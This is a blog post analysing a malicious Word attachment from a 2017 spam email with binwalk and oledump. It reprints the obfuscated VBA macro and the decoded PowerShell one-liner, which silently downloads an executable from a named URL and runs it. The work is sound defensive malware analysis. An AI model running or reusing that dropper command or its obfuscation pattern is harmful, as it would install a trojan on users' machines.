I always worked for the red team but as I was going through my spam folder this morning I decided I’d give a try at analyzing malicious attachments. I also secretly always wanted to check out Didier Stevens’ oledump tool so this was a good excuse :)

E-mail

The mail looked like this:

Date: Fri, 27 Jan 2017 12:26:06 +0100
From: Mihail <hunter@puppetlabs.com>
Subject: question
Reply-To: Mihail <AdamBuchbinder@tutanota.com>
X-Mailer: Microsoft Windows Live Mail 14.0.8117.416
Message-ID: <1CE6AE0E2AFED033EFEAA3140087FFB0@sh>

Hey. I found your software is online. Can you write the code for my project?
Terms of reference attached below.
The price shall discuss, if you can make. Answer please.

The attachment is a file named New.gz allegedly containing the “Terms of reference” Mihail is talking about.

Malicious attachment fingerprinting

So let’s dive in ! I launched a VM and ran some basic checks on the file. binwalk tells us that the file is actually a RAR archive, even though the extension says .gz

$ binwalk New.gz 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             RAR archive data, first volume type: MAIN_HEAD

The archive contains a document named New.doc, apparently a Microsoft Office document:

$ file New.doc 
New.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal, Last Saved By: Normal, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 27 05:14:00 2017, Last Saved Time/Date: Fri Jan 27 05:14:00 2017, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0

Malicious attachment analysis

I can finally try oledump !

$ python oledump.py -i New.doc
1:       114 '\x01CompObj'
2:      4096 '\x05DocumentSummaryInformation'
3:      4096 '\x05SummaryInformation'
4:     11555 '1Table'
5:       367 'Macros/PROJECT'
6:        41 'Macros/PROJECTwm'
7: M   84985 'Macros/VBA/ThisDocument'
8:     16765 'Macros/VBA/_VBA_PROJECT'
9:       517 'Macros/VBA/dir'
10:       216 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Item'
11:       341 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Properties'
12:     15974 'WordDocument'

We can see that there is a VBA macro on stream 7, let’s extract it with oledump:

$ python oledump.py -s 7 -v New.doc > payload.vba

The VBA payload contains a shit load of “obfuscated” code but we can find the interesting part by pinpointing where the call to Shell happens. We can see in the excerpt below that the argument provided to Shell is a concatenation of the sraqteby array elements. Yes, there are some array indexing bullshit. I doubt this ever made reversing difficult :D

sraqteby = Array("CM", "D.", "ex", "e ", "/C", " """, "po", "We", "^R", "sH", "^E", "^l", "L.", "EX", "^e", "  ", "  ", " ^", "-e", "XE", "^C", "UT", "^I", "^o", "^n", "^P", "o^", "LI", "^C", "y ", "by", "p^", "As", "^s", "^ ", "  ", " ^", "-N", "^O", "pr", "^O", "^F", "i^", "l^", "e ", "-^", "wi", "nD", "ow", "ST", "^y", "LE", "^ ", "  ", " h", "^I", "Dd", "en", "  ", " ^", "(n", "^e", "^W", "-O", "^b", "je", "^C", "T^", "  ", "  ", "s^", "yS", "te", "^M", "^.", "^N", "ET", ".W", "^E",
"b^", "cL", "i^", "En", "^T", "^)", "^.", "^d", "OW", "^N", "l^", "oa", "^d", "^F", "I^", "lE", "('", "ht", "tp", ":/", "/n", "ic", "kl", "ov", "eg", "ro", "ve", ".c", "o.", "uk", "/w", "p-", "co", "nt", "en", "t/", "ma", "rg", "in", "26", "01", "_o", "ne", "ch", "at", "_w", "or", "d.", "ex", "e'", ",'", "%A", "PP", "dA", "ta", "%.", "Ex", "e'", ");", "s^", "TA", "rT", "-p", "RO", "^C", "^E", "s^", "S ", "'%", "AP", "pd", "aT", "a%", ".E", "xE", "'""")

ozqaqzusw = Array("odevzu", "qvonwav", "ohizef", "decaqo", "azxut", Join(sraqteby, ""), "irtubgu")(5)


eratcyke = ucbejja & ubep & ogyl
zema2 = rbipole & scivikwo & ynehsoc & qhyxob
vnilden3 = ejveme & omvyrzi & ezeln & nrezi
uhysylhi = ycijt & yzowr & olec
orybm5 = uzsygip & uhyhges & rmyle
mufqim = wnisofmo & nukag
ywgodyr = Array(mufqim, orybm5, uhysylhi, vnilden3, zema2, Shell(Array(ozqaqzusw)(0), 0), eratcyke)(5)

I opened a Python interpreter and executed the code below to get the argument provided to Shell:

a = ["CM", "D.", "ex", "e ", "/C", " """, "po", "We", "^R", "sH", "^E", "^l", "L.", "EX", "^e", "  ", "  ", " ^", "-e", "XE", "^C", "UT", "^I", "^o", "^n", "^P", "o^", "LI", "^C", "y ", "by", "p^", "As", "^s", "^ ", "  ", " ^", "-N", "^O", "pr", "^O", "^F", "i^", "l^", "e ", "-^", "wi", "nD", "ow", "ST", "^y", "LE", "^ ", "  ", " h", "^I", "Dd", "en", "  ", " ^", "(n", "^e", "^W", "-O", "^b", "je", "^C", "T^", "  ", "  ", "s^", "yS", "te", "^M", "^.", "^N", "ET", ".W", "^E", "b^", "cL", "i^",
 "En", "^T", "^)", "^.", "^d", "OW", "^N", "l^", "oa", "^d", "^F", "I^", "lE", "('", "ht", "tp", ":/", "/n", "ic", "kl", "ov", "eg", "ro", "ve", ".c", "o.", "uk", "/w", "p-", "co", "nt", "en", "t/", "ma", "rg", "in", "26", "01", "_o", "ne", "ch", "at", "_w", "or", "d.", "ex", "e'", ",'", "%A", "PP", "dA", "ta", "%.", "Ex", "e'", ");", "s^", "TA", "rT", "-p", "RO", "^C", "^E", "s^", "S ", "'%", "AP", "pd", "aT", "a%", ".E", "xE"]

print  "".join(a).replace("^", "")

Which gave me the following one-liner that downloads an executable with PowerShell and executes it (URL escapes are mine):

"CMD.exe /C poWeRsHElL.EXe     -eXECUTIonPoLICy bypAss    -NOprOFile -winDowSTyLE    hIDden   (neW-ObjeCT    sySteM.NET.WEbcLiEnT).dOWNloadFIlE('http://nicklovegrove[.]co[.]uk/wp-content/margin2601_onechat_word.exe','%APPdAta%.Exe');sTArT-pROCEsS '%APpdaTa%.ExE"

Let’s hash it !

$ curl http://nicklovegrove.co.uk/wp-content/margin2601_onechat_word.exe | sha1sum
0df45a365e2135531b0beba8e50d0453eee70047

Submitting the hash to VirusTotal, we can see it’s already detected as a Trojan by some AV. Some analyst provided the download URL in comments.

That’s all for now, I’m not good enough at reversing Windows executables to go further :)

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